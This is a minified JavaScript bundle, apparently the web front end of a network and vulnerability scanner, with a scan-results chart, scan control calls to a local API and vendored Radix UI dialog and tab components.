Ob=nte,xh=v.forwardRef(({active:e,payload:t,className:n,indicator:r="dot",hideLabel:i=!1,hideIndicator:l=!1,label:c,labelFormatter:u,formatter:f,nameKey:h,labelKey:p},m)=>{const{config:y}=Nle(),x=v.useMemo(()=>{if(i||!t?.length)return null;const[w]=t,O=`${p||w?.dataKey||w?.name||"value"}`,_=y[O]?.label||c;return u&&t?E.jsx("div",{className:"font-medium",children:u(_,t)}):_?E.jsx("div",{className:"font-medium",children:_}):null},[c,u,t,i,y,p]);if(!e||!t?.length)return null;const S=t.length===1&&r!=="dot";return E.jsxs("div",{ref:m,className:Ee("grid min-w-[8rem] items-start gap-1.5 rounded-lg border border-border/50 bg-background px-2.5 py-1.5 text-xs shadow-xl",n),children:[S?null:x,E.jsx("div",{className:"grid gap-1.5",children:t.map((w,O)=>{const A=`${h||w.name||w.dataKey||"value"}`,_=y[A],T=w.payload?.fill||w.fill||w.color;return E.jsx("div",{className:Ee("flex w-full flex-wrap items-stretch gap-2 [&>svg]:h-2.5 [&>svg]:w-2.5 [&>svg]:text-muted-foreground",r==="dot"&&"items-center"),children:f&&w?.value!==void 0&&w.name?f(w.value,w.name,w,O,w.payload):E.jsxs(E.Fragment,{children:[_?.icon?E.jsx(_.icon,{}):!l&&E.jsx("div",{className:Ee("shrink-0 rounded-[2px]",{"h-2.5 w-2.5":r==="dot","w-1":r==="line","w-0 border-[1.5px] border-dashed bg-transparent":r==="dashed","my-0.5":S&&r==="dashed"}),style:{backgroundColor:T,borderColor:T}}),E.jsxs("div",{className:Ee("flex flex-1 justify-between leading-none",S?"items-end":"items-center"),children:[E.jsxs("div",{className:"grid gap-1.5",children:[S?x:null,E.jsx("span",{className:"text-muted-foreground",children:_?.label||w.name})]}),w.value!==void 0&&E.jsx("span",{className:"font-mono font-medium tabular-nums text-foreground",children:w.value.toLocaleString()})]})]})},w.dataKey||O)})})]})});xh.displayName="ChartTooltip";const ar={hosts:"hsl(var(--chart-1))",ports:"hsl(var(--chart-2))",services:"hsl(var(--chart-3))",vulns:"hsl(var(--chart-4))"};function Mle({status:e}){const{t}=xo(),n=e?.state==="running",r=e?.state==="stopping",i=v.useMemo(()=>e?.stats?[{name:t("statsHosts"),value:e.stats.hosts_scanned||0,fill:ar.hosts},{name:t("statsPorts"),value:e.stats.ports_scanned||0,fill:ar.ports},{name:t("statsServices"),value:e.stats.services_found||0,fill:ar.services},{name:t("statsVulns"),value:e.stats.vulns_found||0,fill:ar.vulns}].filter(f=>f.value>0):[],[e?.stats,t]),l={hosts:{label:t("statsHosts"),color:ar.hosts},ports:{label:t("statsPorts"),color:ar.ports},services:{label:t("statsServices"),color:ar.services},vulns:{label:t("statsVulns"),color:ar.vulns}},c=v.useMemo(()=>e?.stats?(e.stats.hosts_scanned||0)+(e.stats.ports_scanned||0)+(e.stats.services_found||0)+(e.stats.vulns_found||0):0,[e?.stats]),u=[{key:"hosts",label:t("statsHosts"),value:e?.stats.hosts_scanned||0,color:ar.hosts},{key:"ports",label:t("statsPorts"),value:e?.stats.ports_scanned||0,color:ar.ports},{key:"services",label:t("statsServices"),value:e?.stats.services_found||0,color:ar.services},{key:"vulns",label:t("statsVulns"),value:e?.stats.vulns_found||0,color:ar.vulns}];return E.jsxs(Gl,{className:"h-full",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsxs(ga,{variant:n?"default":r?"secondary":"outline",className:"gap-1",children:[n?E.jsx(yM,{className:"w-3 h-3"}):r?E.jsx(c0,{className:"w-3 h-3 animate-spin"}):E.jsx(xM,{className:"w-3 h-3"}),t(n?"scanRunning":r?"statusStopping":"statusIdle")]})]}),E.jsxs(Zl,{className:"space-y-6",children:[n&&E.jsxs("div",{className:"space-y-2",children:[E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsx("span",{className:"text-muted-foreground",children:t("loading")}),E.jsxs("span",{className:"font-mono text-primary text-lg",children:[e?.progress||0,"%"]})]}),E.jsx(KI,{value:e?.progress||0,className:"h-3"})]}),c>0?E.jsx("div",{className:"flex justify-center py-4",children:E.jsx(bh,{config:l,className:"h-[180px] w-[180px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:i,dataKey:"value",nameKey:"name",innerRadius:45,outerRadius:75,strokeWidth:3,stroke:"hsl(var(--background))",children:i.map((f,h)=>E.jsx(vo,{fill:f.fill},`cell-${h}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}):E.jsx(Vh,{icon:xd,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-8"}),E.jsx("div",{className:"space-y-3",children:u.map(f=>E.jsxs("div",{className:"flex items-center justify-between p-3 rounded-lg bg-muted/50",children:[E.jsxs("div",{className:"flex items-center gap-3",children:[E.jsx("div",{className:"w-4 h-4 rounded",style:{backgroundColor:f.color}}),E.jsx("span",{className:"text-muted-foreground",children:f.label})]}),E.jsx("span",{className:"font-mono font-semibold text-lg",children:f.value})]},f.key))}),E.jsx("div",{className:"pt-4 border-t",children:E.jsxs("div",{className:"flex items-center justify-between",children:[E.jsx("span",{className:"text-muted-foreground font-medium",children:t("items")}),E.jsx("span",{className:"font-mono font-bold text-2xl",children:c})]})})]})]})}const _o="/api";async function jle(e){const t=await fetch(`${_o}/scan/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)});if(!t.ok){const n=await t.json();throw new Error(n.error||"Failed to start scan")}return t.json()}async function Ple(){const e=await fetch(`${_o}/scan/stop`,{method:"POST"});if(!e.ok){const t=await e.json();throw new Error(t.error||"Failed to stop scan")}return e.json()}async function iM(){const e=await fetch(`${_o}/scan/status`);if(!e.ok)throw new Error("Failed to get scan status");return e.json()}async function Rle(e){const t=`${_o}/results`,n=await fetch(t);if(!n.ok)throw new Error("Failed to get results");return n.json()}async function Dle(e){const t=await fetch(`${_o}/results/export?format=${e}`);if(!t.ok)throw new Error("Failed to export results");return t.blob()}async function kle(){const e=await fetch(`${_o}/results/clear`,{method:"POST"});if(!e.ok)throw new Error("Failed to clear results");return e.json()}async function Lle(){const e=await fetch(`${_o}/config/presets`);if(!e.ok)throw new Error("Failed to get presets");return e.json()}const Ile={host:"",ports:"",scan_mode:"all",thread_num:600,timeout:3,disable_ping:!1,disable_brute:!1,alive_only:!1,username:"",password:"",domain:"",exclude_hosts:"",exclude_ports:""};function zle(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState(null),[i,l]=v.useState([]),[c,u]=v.useState(!1),[f,h]=v.useState(null),[p,m]=v.useState(Ile);v.useEffect(()=>{(async()=>{try{const[_,T]=await Promise.all([iM(),Lle()]);r(_),l(T)}catch(_){console.error("Failed to fetch data:",_)}})();const A=setInterval(async()=>{try{const _=await iM();r(_)}catch{}},2e3);return()=>clearInterval(A)},[]);const y=async()=>{if(!p.host){h(e("targetRequired"));return}u(!0),h(null),t();try{await jle(p)}catch(O){h(O instanceof Error?O.message:e("startScanFailed"))}finally{u(!1)}},x=async()=>{u(!0);try{await Ple()}catch(O){h(O instanceof Error?O.message:e("stopScanFailed"))}finally{u(!1)}},S=n?.state==="running",w=n?.state==="stopping";return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4 h-full",children:[E.jsxs("div",{className:"lg:col-span-7 flex flex-col gap-4 min-h-0",children:[E.jsx(tq,{formData:p,onFormChange:m,presets:i,isRunning:S,isStopping:w,loading:c,error:f,onStart:y,onStop:x}),E.jsx(GP,{})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx(Mle,{status:n})})]})})}var r0="rovingFocusGroup.onEntryFocus",$le={bubbles:!1,cancelable:!0},mu="RovingFocusGroup",[Eb,GI,Ble]=Kb(mu),[Ule,$p]=Fn(mu,[Ble]),[Hle,qle]=Ule(mu),WI=v.forwardRef((e,t)=>E.jsx(Eb.Provider,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Eb.Slot,{scope:e.__scopeRovingFocusGroup,children:E.jsx(Fle,{...e,ref:t})})}));WI.displayName=mu;var Fle=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:i=!1,dir:l,currentTabStopId:c,defaultCurrentTabStopId:u,onCurrentTabStopIdChange:f,onEntryFocus:h,preventScrollOnEntryFocus:p=!1,...m}=e,y=v.useRef(null),x=De(t,y),S=Kc(l),[w,O]=Oa({prop:c,defaultProp:u??null,onChange:f,caller:mu}),[A,_]=v.useState(!1),T=en(h),j=GI(n),M=v.useRef(!1),[P,R]=v.useState(0);return v.useEffect(()=>{const I=y.current;if(I)return I.addEventListener(r0,T),()=>I.removeEventListener(r0,T)},[T]),E.jsx(Hle,{scope:n,orientation:r,dir:S,loop:i,currentTabStopId:w,onItemFocus:v.useCallback(I=>O(I),[O]),onItemShiftTab:v.useCallback(()=>_(!0),[]),onFocusableItemAdd:v.useCallback(()=>R(I=>I+1),[]),onFocusableItemRemove:v.useCallback(()=>R(I=>I-1),[]),children:E.jsx(Ce.div,{tabIndex:A||P===0?-1:0,"data-orientation":r,...m,ref:x,style:{outline:"none",...e.style},onMouseDown:ue(e.onMouseDown,()=>{M.current=!0}),onFocus:ue(e.onFocus,I=>{const B=!M.current;if(I.target===I.currentTarget&&B&&!A){const q=new CustomEvent(r0,$le);if(I.currentTarget.dispatchEvent(q),!q.defaultPrevented){const U=j().filter(L=>L.focusable),V=U.find(L=>L.active),oe=U.find(L=>L.id===w),ce=[V,oe,...U].filter(Boolean).map(L=>L.ref.current);QI(ce,p)}}M.current=!1}),onBlur:ue(e.onBlur,()=>_(!1))})})}),XI="RovingFocusGroupItem",ZI=v.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:i=!1,tabStopId:l,children:c,...u}=e,f=sr(),h=l||f,p=qle(XI,n),m=p.currentTabStopId===h,y=GI(n),{onFocusableItemAdd:x,onFocusableItemRemove:S,currentTabStopId:w}=p;return v.useEffect(()=>{if(r)return x(),()=>S()},[r,x,S]),E.jsx(Eb.ItemSlot,{scope:n,id:h,focusable:r,active:i,children:E.jsx(Ce.span,{tabIndex:m?0:-1,"data-orientation":p.orientation,...u,ref:t,onMouseDown:ue(e.onMouseDown,O=>{r?p.onItemFocus(h):O.preventDefault()}),onFocus:ue(e.onFocus,()=>p.onItemFocus(h)),onKeyDown:ue(e.onKeyDown,O=>{if(O.key==="Tab"&&O.shiftKey){p.onItemShiftTab();return}if(O.target!==O.currentTarget)return;const A=Yle(O,p.orientation,p.dir);if(A!==void 0){if(O.metaKey||O.ctrlKey||O.altKey||O.shiftKey)return;O.preventDefault();let T=y().filter(j=>j.focusable).map(j=>j.ref.current);if(A==="last")T.reverse();else if(A==="prev"||A==="next"){A==="prev"&&T.reverse();const j=T.indexOf(O.currentTarget);T=p.loop?Gle(T,j+1):T.slice(j+1)}setTimeout(()=>QI(T))}}),children:typeof c=="function"?c({isCurrentTabStop:m,hasTabStop:w!=null}):c})})});ZI.displayName=XI;var Vle={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function Kle(e,t){return t!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function Yle(e,t,n){const r=Kle(e.key,n);if(!(t==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(t==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return Vle[r]}function QI(e,t=!1){const n=document.activeElement;for(const r of e)if(r===n||(r.focus({preventScroll:t}),document.activeElement!==n))return}function Gle(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var JI=WI,e3=ZI,Bp="Tabs",[Wle]=Fn(Bp,[$p]),t3=$p(),[Xle,J1]=Wle(Bp),n3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,onValueChange:i,defaultValue:l,orientation:c="horizontal",dir:u,activationMode:f="automatic",...h}=e,p=Kc(u),[m,y]=Oa({prop:r,onChange:i,defaultProp:l??"",caller:Bp});return E.jsx(Xle,{scope:n,baseId:sr(),value:m,onValueChange:y,orientation:c,dir:p,activationMode:f,children:E.jsx(Ce.div,{dir:p,"data-orientation":c,...h,ref:t})})});n3.displayName=Bp;var r3="TabsList",a3=v.forwardRef((e,t)=>{const{__scopeTabs:n,loop:r=!0,...i}=e,l=J1(r3,n),c=t3(n);return E.jsx(JI,{asChild:!0,...c,orientation:l.orientation,dir:l.dir,loop:r,children:E.jsx(Ce.div,{role:"tablist","aria-orientation":l.orientation,...i,ref:t})})});a3.displayName=r3;var i3="TabsTrigger",o3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,disabled:i=!1,...l}=e,c=J1(i3,n),u=t3(n),f=c3(c.baseId,r),h=u3(c.baseId,r),p=r===c.value;return E.jsx(e3,{asChild:!0,...u,focusable:!i,active:p,children:E.jsx(Ce.button,{type:"button",role:"tab","aria-selected":p,"aria-controls":h,"data-state":p?"active":"inactive","data-disabled":i?"":void 0,disabled:i,id:f,...l,ref:t,onMouseDown:ue(e.onMouseDown,m=>{!i&&m.button===0&&m.ctrlKey===!1?c.onValueChange(r):m.preventDefault()}),onKeyDown:ue(e.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&c.onValueChange(r)}),onFocus:ue(e.onFocus,()=>{const m=c.activationMode!=="manual";!p&&!i&&m&&c.onValueChange(r)})})})});o3.displayName=i3;var l3="TabsContent",s3=v.forwardRef((e,t)=>{const{__scopeTabs:n,value:r,forceMount:i,children:l,...c}=e,u=J1(l3,n),f=c3(u.baseId,r),h=u3(u.baseId,r),p=r===u.value,m=v.useRef(p);return v.useEffect(()=>{const y=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(y)},[]),E.jsx(ln,{present:i||p,children:({present:y})=>E.jsx(Ce.div,{"data-state":p?"active":"inactive","data-orientation":u.orientation,role:"tabpanel","aria-labelledby":f,hidden:!y,id:h,tabIndex:0,...c,ref:t,style:{...e.style,animationDuration:m.current?"0s":void 0},children:y&&l})})});s3.displayName=l3;function c3(e,t){return`${e}-trigger-${t}`}function u3(e,t){return`${e}-content-${t}`}var Zle=n3,f3=a3,d3=o3,h3=s3;const Qle=Zle,p3=v.forwardRef(({className:e,...t},n)=>E.jsx(f3,{ref:n,className:Ee("inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground",e),...t}));p3.displayName=f3.displayName;const Ol=v.forwardRef(({className:e,...t},n)=>E.jsx(d3,{ref:n,className:Ee("inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm",e),...t}));Ol.displayName=d3.displayName;const m3=v.forwardRef(({className:e,...t},n)=>E.jsx(h3,{ref:n,className:Ee("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",e),...t}));m3.displayName=h3.displayName;var Jle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ese=Jle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),tse="Separator",oM="horizontal",nse=["horizontal","vertical"],v3=v.forwardRef((e,t)=>{const{decorative:n,orientation:r=oM,...i}=e,l=rse(r)?r:oM,u=n?{role:"none"}:{"aria-orientation":l==="vertical"?l:void 0,role:"separator"};return E.jsx(ese.div,{"data-orientation":l,...u,...i,ref:t})});v3.displayName=tse;function rse(e){return nse.includes(e)}var g3=v3;const y3=v.forwardRef(({className:e,orientation:t="horizontal",decorative:n=!0,...r},i)=>E.jsx(g3,{ref:i,decorative:n,orientation:t,className:Ee("shrink-0 bg-border",t==="horizontal"?"h-[1px] w-full":"h-full w-[1px]",e),...r}));y3.displayName=g3.displayName;function ase(e){const t=ise(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(lse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function ise(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=cse(i),u=sse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var ose=Symbol("radix.slottable");function lse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===ose}function sse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function cse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Up="Dialog",[b3,x3]=Fn(Up),[use,_r]=b3(Up),w3=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:i,onOpenChange:l,modal:c=!0}=e,u=v.useRef(null),f=v.useRef(null),[h,p]=Oa({prop:r,defaultProp:i??!1,onChange:l,caller:Up});return E.jsx(use,{scope:t,triggerRef:u,contentRef:f,contentId:sr(),titleId:sr(),descriptionId:sr(),open:h,onOpenChange:p,onOpenToggle:v.useCallback(()=>p(m=>!m),[p]),modal:c,children:n})};w3.displayName=Up;var S3="DialogTrigger",O3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(S3,n),l=De(t,i.triggerRef);return E.jsx(Ce.button,{type:"button","aria-haspopup":"dialog","aria-expanded":i.open,"aria-controls":i.contentId,"data-state":nw(i.open),...r,ref:l,onClick:ue(e.onClick,i.onOpenToggle)})});O3.displayName=S3;var ew="DialogPortal",[fse,E3]=b3(ew,{forceMount:void 0}),A3=e=>{const{__scopeDialog:t,forceMount:n,children:r,container:i}=e,l=_r(ew,t);return E.jsx(fse,{scope:t,forceMount:n,children:v.Children.map(r,c=>E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:c})}))})};A3.displayName=ew;var wh="DialogOverlay",C3=v.forwardRef((e,t)=>{const n=E3(wh,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(wh,e.__scopeDialog);return l.modal?E.jsx(ln,{present:r||l.open,children:E.jsx(hse,{...i,ref:t})}):null});C3.displayName=wh;var dse=ase("DialogOverlay.RemoveScroll"),hse=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(wh,n);return E.jsx(zh,{as:dse,allowPinchZoom:!0,shards:[i.contentRef],children:E.jsx(Ce.div,{"data-state":nw(i.open),...r,ref:t,style:{pointerEvents:"auto",...r.style}})})}),bo="DialogContent",_3=v.forwardRef((e,t)=>{const n=E3(bo,e.__scopeDialog),{forceMount:r=n.forceMount,...i}=e,l=_r(bo,e.__scopeDialog);return E.jsx(ln,{present:r||l.open,children:l.modal?E.jsx(pse,{...i,ref:t}):E.jsx(mse,{...i,ref:t})})});_3.displayName=bo;var pse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(null),i=De(t,n.contentRef,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(T3,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ue(e.onCloseAutoFocus,l=>{l.preventDefault(),n.triggerRef.current?.focus()}),onPointerDownOutside:ue(e.onPointerDownOutside,l=>{const c=l.detail.originalEvent,u=c.button===0&&c.ctrlKey===!0;(c.button===2||u)&&l.preventDefault()}),onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault())})}),mse=v.forwardRef((e,t)=>{const n=_r(bo,e.__scopeDialog),r=v.useRef(!1),i=v.useRef(!1);return E.jsx(T3,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:l=>{e.onCloseAutoFocus?.(l),l.defaultPrevented||(r.current||n.triggerRef.current?.focus(),l.preventDefault()),r.current=!1,i.current=!1},onInteractOutside:l=>{e.onInteractOutside?.(l),l.defaultPrevented||(r.current=!0,l.detail.originalEvent.type==="pointerdown"&&(i.current=!0));const c=l.target;n.triggerRef.current?.contains(c)&&l.preventDefault(),l.detail.originalEvent.type==="focusin"&&i.current&&l.preventDefault()}})}),T3=v.forwardRef((e,t)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:i,onCloseAutoFocus:l,...c}=e,u=_r(bo,n),f=v.useRef(null),h=De(t,f);return Yb(),E.jsxs(E.Fragment,{children:[E.jsx(Lh,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:i,onUnmountAutoFocus:l,children:E.jsx(Hc,{role:"dialog",id:u.contentId,"aria-describedby":u.descriptionId,"aria-labelledby":u.titleId,"data-state":nw(u.open),...c,ref:h,onDismiss:()=>u.onOpenChange(!1)})}),E.jsxs(E.Fragment,{children:[E.jsx(gse,{titleId:u.titleId}),E.jsx(bse,{contentRef:f,descriptionId:u.descriptionId})]})]})}),tw="DialogTitle",N3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(tw,n);return E.jsx(Ce.h2,{id:i.titleId,...r,ref:t})});N3.displayName=tw;var M3="DialogDescription",j3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(M3,n);return E.jsx(Ce.p,{id:i.descriptionId,...r,ref:t})});j3.displayName=M3;var P3="DialogClose",R3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(P3,n);return E.jsx(Ce.button,{type:"button",...r,ref:t,onClick:ue(e.onClick,()=>i.onOpenChange(!1))})});R3.displayName=P3;function nw(e){return e?"open":"closed"}var D3="DialogTitleWarning",[vse,k3]=BB(D3,{contentName:bo,titleName:tw,docsSlug:"dialog"}),gse=({titleId:e})=>{const t=k3(D3),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users. - -If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component. - -For more information, see https://radix-ui.com/primitives/docs/components/${t.docsSlug}`;return v.useEffect(()=>{e&&(document.getElementById(e)||console.error(n))},[n,e]),null},yse="DialogDescriptionWarning",bse=({contentRef:e,descriptionId:t})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${k3(yse).contentName}}.`;return v.useEffect(()=>{const i=e.current?.getAttribute("aria-describedby");t&&i&&(document.getElementById(t)||console.warn(r))},[r,e,t]),null},xse=w3,wse=O3,Sse=A3,Ose=C3,Ese=_3,Ase=N3,Cse=j3,L3=R3,_se=Symbol("radix.slottable");function Tse(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=_se,t}var I3="AlertDialog",[Nse]=Fn(I3,[x3]),$a=x3(),z3=e=>{const{__scopeAlertDialog:t,...n}=e,r=$a(t);return E.jsx(xse,{...r,...n,modal:!0})};z3.displayName=I3;var Mse="AlertDialogTrigger",$3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(wse,{...i,...r,ref:t})});$3.displayName=Mse;var jse="AlertDialogPortal",B3=e=>{const{__scopeAlertDialog:t,...n}=e,r=$a(t);return E.jsx(Sse,{...r,...n})};B3.displayName=jse;var Pse="AlertDialogOverlay",U3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Ose,{...i,...r,ref:t})});U3.displayName=Pse;var Ml="AlertDialogContent",[Rse,Dse]=Nse(Ml),kse=Tse("AlertDialogContent"),H3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,children:r,...i}=e,l=$a(n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return E.jsx(vse,{contentName:Ml,titleName:q3,docsSlug:"alert-dialog",children:E.jsx(Rse,{scope:n,cancelRef:f,children:E.jsxs(Ese,{role:"alertdialog",...l,...i,ref:u,onOpenAutoFocus:ue(i.onOpenAutoFocus,h=>{h.preventDefault(),f.current?.focus({preventScroll:!0})}),onPointerDownOutside:h=>h.preventDefault(),onInteractOutside:h=>h.preventDefault(),children:[E.jsx(kse,{children:r}),E.jsx(Ise,{contentRef:c})]})})})});H3.displayName=Ml;var q3="AlertDialogTitle",F3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Ase,{...i,...r,ref:t})});F3.displayName=q3;var V3="AlertDialogDescription",K3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Cse,{...i,...r,ref:t})});K3.displayName=V3;var Lse="AlertDialogAction",Y3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(L3,{...i,...r,ref:t})});Y3.displayName=Lse;var G3="AlertDialogCancel",W3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,{cancelRef:i}=Dse(G3,n),l=$a(n),c=De(t,i);return E.jsx(L3,{...l,...r,ref:c})});W3.displayName=G3;var Ise=({contentRef:e})=>{const t=`\`${Ml}\` requires a description for the component to be accessible for screen reader users. - -You can add a description to the \`${Ml}\` by passing a \`${V3}\` component as a child, which also benefits sighted users by adding visible context to the dialog. - -Alternatively, you can use your own component as a description by assigning it an \`id\` and passing the same value to the \`aria-describedby\` prop in \`${Ml}\`. If the description is confusing or duplicative for sighted users, you can use the \`@radix-ui/react-visually-hidden\` primitive as a wrapper around your description component. - -For more information, see https://radix-ui.com/primitives/docs/components/alert-dialog`;return v.useEffect(()=>{document.getElementById(e.current?.getAttribute("aria-describedby"))||console.warn(t)},[t,e]),null},zse=z3,$se=$3,Bse=B3,X3=U3,Z3=H3,Q3=Y3,J3=W3,ez=F3,tz=K3;const Use=zse,Hse=$se,qse=Bse,nz=v.forwardRef(({className:e,...t},n)=>E.jsx(X3,{className:Ee("fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));nz.displayName=X3.displayName;const rz=v.forwardRef(({className:e,...t},n)=>E.jsxs(qse,{children:[E.jsx(nz,{}),E.jsx(Z3,{ref:n,className:Ee("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...t})]}));rz.displayName=Z3.displayName;const az=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col space-y-2 text-center sm:text-left",e),...t});az.displayName="AlertDialogHeader";const iz=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});iz.displayName="AlertDialogFooter";const oz=v.forwardRef(({className:e,...t},n)=>E.jsx(ez,{ref:n,className:Ee("text-lg font-semibold",e),...t}));oz.displayName=ez.displayName;const lz=v.forwardRef(({className:e,...t},n)=>E.jsx(tz,{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));lz.displayName=tz.displayName;const sz=v.forwardRef(({className:e,...t},n)=>E.jsx(Q3,{ref:n,className:Ee(Vb(),e),...t}));sz.displayName=Q3.displayName;const cz=v.forwardRef(({className:e,...t},n)=>E.jsx(J3,{ref:n,className:Ee(Vb({variant:"outline"}),"mt-2 sm:mt-0",e),...t}));cz.displayName=J3.displayName;function Fse(e){const t=Vse(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(Yse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function Vse(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=Wse(i),u=Gse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var Kse=Symbol("radix.slottable");function Yse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===Kse}function Gse(e,t){const n={...t};for(const r in t){const 